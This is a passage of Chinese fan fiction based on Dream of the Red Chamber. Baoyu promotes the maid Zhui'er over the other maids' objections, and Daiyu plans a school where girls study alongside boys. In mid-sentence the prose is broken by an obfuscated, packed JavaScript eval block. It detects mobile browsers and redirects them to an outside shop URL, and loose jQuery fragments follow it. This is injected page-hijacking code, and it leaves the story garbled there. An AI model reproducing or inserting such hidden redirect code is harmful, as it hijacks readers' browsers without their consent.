此时宝玉见坠儿泪眼难禁，只是抽抽噎噎地哭得伤心，以为众人平日一定少不了委屈苛责她，心下便有些不平。他想这个女孩儿虽是模样寻常、行动笨拙，不如其他人机灵讨喜，却也不该受此磨折。


    这样想着，宝玉的心里便有几分偏向坠儿了。


    宝玉忍不住顿足道：“她好歹叫你们一声‘姐姐’，事事以你们马首是瞻，便冲这个，也不该这样逼迫她。花盆的事，既然都疑是她，当面问清楚了也罢了。她既说不是，怎么又不信？既如此，还问什么，我们也不好弄个‘屈打成招’了。我素来最恨那些可恶的老婆子们仗着体面欺侮人，每每那时，你们也很义愤填膺的，怎么如今自己也互伤、互害起来了，这是怎么说呢。”


    除了秋纹、碧痕几个，周围的丫头们听了这话，都觉心中暗愧，方才因喜看热闹而叫嚷得最凶的几个小丫头，此时脸红起来，都低下头去，自觉行事很不妥当。


    宝玉向坠儿一抬手，安慰道：“快起来罢。你不知道，才洗了头，气血都涌在头上，此时又要哭，最是伤身，若是失了调养，此时还不觉得，以后就晓得厉害了，那时再要后悔，却也迟了。”


    坠儿好容易听见这许多温柔安慰言语，抬起头来，泪眼迷蒙地看了一眼宝玉，只觉眼前人真如救苦救难的神仙一般，偏又生得这般俊美，她倒看得呆了，偶尔抽嗒一下，其状更是可怜。


    宝玉叹息道：“这也实在可怜见儿的。这里这么多人，难道就欺负她一个么，平日里我也不知你们是这样的。”


    话一出口，宝玉又有些后悔。他并非全然不知世故，也明白今日自己替这丫头出头，恐怕更招致其他人对她的忌恨，自己不看见的时候儿还多，言语上挤兑、行为上孤立，这都是免不了的，到时只怕更委屈了她，这实非他的本意，却是不好。


    顿了顿，宝玉有了主意，一捶手，对袭人道：“我记得了，前头这丫头认真替我办了几回事，办得不坏。本是该赏她的，我倒忘了，有些对不住人，长此以往，倒灰了她们的心，不如就叫她进屋来伺候罢。”


    袭人有些愕然，却不愿在人前驳宝玉的面子，只得答应道：“……是。”她答应得很顺服，实则心中觉得不妥，前头莫名提拔了一个四儿，已经让人不能心服，如今又来一个坠儿，实在是不很妥当。


    本来这怡红院的丫头递补，袭人心里都是有数的，平日说话做事，便是一饮一啄的小事，也足够评断各人的资质用心，她冷眼看着，如今院里这几个小的里头，除了一个佳蕙还算行事稳重外，其余的都要再看。可如今由着宝玉的性子今儿抬举一个、明儿抬举一个，恐怕不能服众，似乎是在告诉那些不得出头的丫头们，差事办得如何、答应是否殷勤，这都不紧要，只要卯足劲儿往主子眼前晃也罢了。


    坠儿不知袭人等心里所想，却实在是喜出望外，眼泪也不及擦，忙磕头道：“谢二爷恩典。”


    宝玉笑道：“以后你进来做事，务必要更仔细才是，要听你姐姐们的教诲，不可再淘气了，知道么。”


    坠儿连连点头，道：“我一定仔细做事，二爷只管吩咐我罢了。”顿了一顿，仰着脸颇稚气地问：“二爷，这遭儿我进屋里伺候，月钱涨多少呢？”


    宝玉失笑道：“这也问住我了，我也不知究竟是多少，总是要多些儿的罢，回来你问你花大姐姐也罢了。”


    坠儿的一番天然憨态，看在大丫头们眼里却是心机造作，秋纹先看不下去了，冷笑道：“二爷方才教训得是，只是以后我们也并不敢有什么‘教诲’，这里的分寸我们不懂得，多说两句话，恐怕让人以为我们刻薄了人了。”说着又问袭人：“花大姐姐还有什么吩咐？”


    袭人被她们这一番顶撞、拉扯，闹得没了主意，只是道：“这——你吃了炮仗了，有什么话，好好儿地说罢。”


    秋纹笑道：“我们从来是这样，何曾又是会说话的。二爷这里总有会说话的来服侍，不必一定是我们。回来有了不是，认罚认打的，我们也自受着罢了，不敢想有人来说情。花大姐姐既是没有事吩咐，我们就歇息去了，明儿还得做事，不敢误了时辰。”说着福了一福，拧身便走了。


    碧痕、绮霰几人平日里是一股绳儿般紧密的几个小姊妹，此时依样告退，一齐散去不提。


    宝玉指着她们背影，气笑道：“你瞧瞧，一言不合，我还没说什么，她们倒能给我脸色看，越发没人能制得住了。”


    袭人去将坠儿搀起来，一面无奈道：“这话我们人人都说得，偏你这位爷说不得——若不是你素日纵得她们这样，她们也不至于如此。每每闹得实在不像了，我们看不过眼去，多少处分几句，便有你拦着。如今纵出这样无法无天的性子，也只得受着了。”一面就吩咐众人：“收拾得了，就都回屋去罢，早些睡下，不许叽叽喳喳地说话。”又推宝玉：“得啦，还不快进去，过会子叫风吹了，明儿早上起不得床，四姑娘那里你又去不成了。”


    宝玉想起明日的约，笑道：“这话正是。”忙回屋去了。


    丫头们都答应着去了，麝月便问坠儿：“你的手帕子呢？快把脸擦了。这会子总该哭够了罢，既洗了头，怎么不擦干了再出来，叫风吹一路，怎么禁得？这会子又哭，回来一头一身的汗，岂不是白洗了。以后进来服侍，不是那样容易的，便是小事，也要考虑得周全些，行事若没规矩，回来叫人笑话，连二爷脸上也没光彩。”


    坠儿抽着鼻子，点点头，赶紧摸了自己的帕子出来擦脸，见晴雯只是看着自己冷笑，嘴角满是讥诮，她心里不自在，便将头扭向另一边。


    麝月便推晴雯：“好丫头，你一抽一抽地作甚么呢，莫不是抽冷子？我替你请大夫来瞧瞧罢，拖得久了也不济的。”


    晴雯冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365655|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑道：“是，有病的是我。”说着也自去了。


    麝月对着她背影无奈地摇摇头，对坠儿道：“别记恨她们，她几个实在都是嘴硬心软的人，自来不曾吃过亏，且又年轻，有些儿不肯饶人，你从前的淘气不省事也是有的，怨不得人说。往后你争气些，再赔些小心，她们自然与你和气了。你也回去罢，等头发干透了再歇，别偷懒睡下了，仔细明儿闹头疼。”


    坠儿感激地点点头，自己拢了拢头发走了。


    至此，怡红院的一场闹剧又是这样没头没尾地结束了。


    雷声大、雨点儿小，叽叽喳喳地闹了一回，到底那花盆是怎么无缘无故被碰跌了，最后却是无人在意了，成为怡红院无数件无头公案中的一件，正因为有这些事的例子在前，也怨不得那些有心的人越来越大胆了。


    ---


    因为前一晚闹了那一回事，到底耽误些时候，打量潇湘馆只怕已锁了门了，晴雯也不便再去，到得第二日上，又见坠儿一早打扮了、喜孜孜地进屋来要伺候，晴雯心里更是不大熨帖，也不理坠儿的问好，取了锦盒便出门了。


    踏着一径竹影，晴雯转过潇湘馆来，见黛玉正凭案支颐，执笔沉吟，晴雯上前问了好，笑道：“姑娘又在写字儿呢。”


    黛玉此时倒并非是在赋诗。实在论起来，近来除了同姊妹们雅集凑趣儿时作几首诗外，关起门来时，她倒绝少自己吟咏，乃是有更紧要的事情在处理，面前正依次铺开的几张纸上，笔迹虽然一如既往地娟秀端正，却满是涂涂改改的痕迹，想来颇费一番神思——这却是为着在外头庄子上开办学堂而制的“教学培养方案”。


    在秦管家等人的有力主持下，林家的学堂早已竣工，也已开始招收学生，可因为乡老的作梗，偌大的学堂竟只录得了两个学生——一个是王青儿，一个是王板儿，正是刘姥姥的外孙女儿和小外孙子。


    乡老们本以为如此该是一个极厉害的下马威，该叫林家人知道知道他们乡里人的团结。触犯原则、违背纲常、可能令祖宗蒙羞的事情，他们是坚决不能妥协的，远近的庄户家里都已得了消息，都不许去那学堂读书，至于那个不识相的王家，一个孤老婆子当家，成什么气候？她硬要送那两个没见识的、破落户儿家的小崽子去林家附学，呸，泥腿子懂得什么是上学？去了也是给先生捣蛋去的，只怕林家要闹头痛了，便也不加理会。


    而这里乡老们所谓“触犯原则、违背纲常、令祖宗蒙羞”的事情，并非什么令人发指、羞于启齿的不端行为，而是令远近的适龄女孩儿同男孩儿一般入学，平等就读、同堂竞争而已，林家的此等主张，简直是踩了乡老们的尾巴，让他们恼羞成怒、不能自已。


    令乡老们失望的是，林家人丝毫没被这“下马威”给震住，老实讲，他们也是第一次办学，能从小班制开始慢慢摸索前进，对他们来说反而是好事。